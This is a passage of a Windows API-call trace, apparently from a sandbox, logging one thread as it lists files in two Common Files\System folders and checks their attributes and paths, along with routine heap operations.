hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0124.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0124.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0124.015] GetCurrentThreadId () returned 0x9b0 [0124.015] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0124.015] GetCurrentThreadId () returned 0x9b0 [0124.015] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0124.015] GetCurrentThreadId () returned 0x9b0 [0124.016] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0124.016] GetCurrentThreadId () returned 0x9b0 [0124.016] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0124.016] GetCurrentThreadId () returned 0x9b0 [0124.016] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0124.016] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0124.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887650 | out: hHeap=0x2ad0000) returned 1 [0124.017] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0124.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.017] GetCurrentThreadId () returned 0x9b0 [0124.017] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui", lpFilePart=0x9bada4*="wab32res.dll.mui") returned 0x3b [0124.017] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0124.017] GetCurrentThreadId () returned 0x9b0 [0124.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0124.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0124.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0124.018] GetCurrentThreadId () returned 0x9b0 [0124.018] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7890 [0124.019] GetCurrentThreadId () returned 0x9b0 [0124.019] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0124.019] GetCurrentThreadId () returned 0x9b0 [0124.020] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0124.020] GetCurrentThreadId () returned 0x9b0 [0124.020] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0124.020] GetCurrentThreadId () returned 0x9b0 [0124.020] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0124.020] GetCurrentThreadId () returned 0x9b0 [0124.020] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0124.020] GetCurrentThreadId () returned 0x9b0 [0124.020] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0124.020] GetCurrentThreadId () returned 0x9b0 [0124.021] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b400, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0124.021] GetCurrentThreadId () returned 0x9b0 [0124.021] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0124.021] GetCurrentThreadId () returned 0x9b0 [0124.021] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44400, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0124.021] GetCurrentThreadId () returned 0x9b0 [0124.021] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0124.021] GetCurrentThreadId () returned 0x9b0 [0124.021] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0124.021] GetCurrentThreadId () returned 0x9b0 [0124.021] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0124.022] GetCurrentThreadId () returned 0x9b0 [0124.022] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0124.022] GetCurrentThreadId () returned 0x9b0 [0124.022] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4403ac10, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4403ac10, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4403ac10, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0124.022] GetCurrentThreadId () returned 0x9b0 [0124.022] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0124.022] GetCurrentThreadId () returned 0x9b0 [0124.022] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0124.022] GetCurrentThreadId () returned 0x9b0 [0124.022] FindClose (in: hFindFile=0x10f7890 | out: hFindFile=0x10f7890) returned 1 [0124.023] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0124.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0124.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0124.025] GetCurrentThreadId () returned 0x9b0 [0124.025] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0124.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0124.026] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us")) returned 0x10 [0124.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a428 | out: hHeap=0x2ad0000) returned 1 [0124.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0124.026] GetCurrentThreadId () returned 0x9b0 [0124.026] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll")) returned 0x20 [0124.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0124.027] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0124.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.028] GetCurrentThreadId () returned 0x9b0 [0124.028] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0124.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0124.028] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811e0, Size=0x20) returned 0x33ead78 [0124.028] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0124.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0124.029] GetCurrentThreadId () returned 0x9b0 [0124.029] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0124.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9a8 | out: hHeap=0x2ad0000) returned 1 [0124.029] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0124.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0124.030] GetCurrentThreadId () returned 0x9b0 [0124.030] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0124.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0124.031] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ead78, Size=0x40) returned 0x3887410 [0124.031] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20 [0124.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a828 | out: hHeap=0x2ad0000) returned 1 [0124.031] GetCurrentThreadId () returned 0x9b0 [0124.032] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20 [0124.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0124.032] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20 [0124.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0124.033] GetCurrentThreadId () returned 0x9b0 [0124.033] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20 [0124.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0124.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0124.034] GetCurrentThreadId () returned 0x9b0 [0124.034] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc", lpFilePart=0x9bada4*="adcjavas.inc") returned 0x37 [0124.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0124.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0124.034] GetCurrentThreadId () returned 0x9b0 [0124.034] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc", lpFilePart=0x9bada4*="adcvbs.inc") returned 0x35 [0124.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.035] GetCurrentThreadId () returned 0x9b0 [0124.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0124.035] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.035] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll", lpFilePart=0x9bada4*="msadce.dll") returned 0x35 [0124.035] GetCurrentThreadId () returned 0x9b0 [0124.035] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0124.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0124.035] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0124.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0124.035] GetCurrentThreadId () returned 0x9b0 [0124.035] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll", lpFilePart=0x9bada4*="msadcer.dll") returned 0x36 [0124.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0124.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0124.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0124.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.036] GetCurrentThreadId () returned 0x9b0 [0124.036] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll", lpFilePart=0x9bada4*="msadco.dll") returned 0x35 [0124.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.036] GetCurrentThreadId () returned 0x9b0 [0124.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0124.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0124.037] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll", lpFilePart=0x9bada4*="msadcor.dll") returned 0x36 [0124.037] GetCurrentThreadId () returned 0x9b0 [0124.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0124.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0124.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0124.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0124.037] GetCurrentThreadId () returned 0x9b0 [0124.037] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll", lpFilePart=0x9bada4*="msadds.dll") returned 0x35 [0124.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0124.037] GetCurrentThreadId () returned 0x9b0 [0124.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.038] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll", lpFilePart=0x9bada4*="msaddsr.dll") returned 0x36 [0124.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0124.038] GetCurrentThreadId () returned 0x9b0 [0124.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.038] HeapFree (in: hHeap=0x2ad0000, 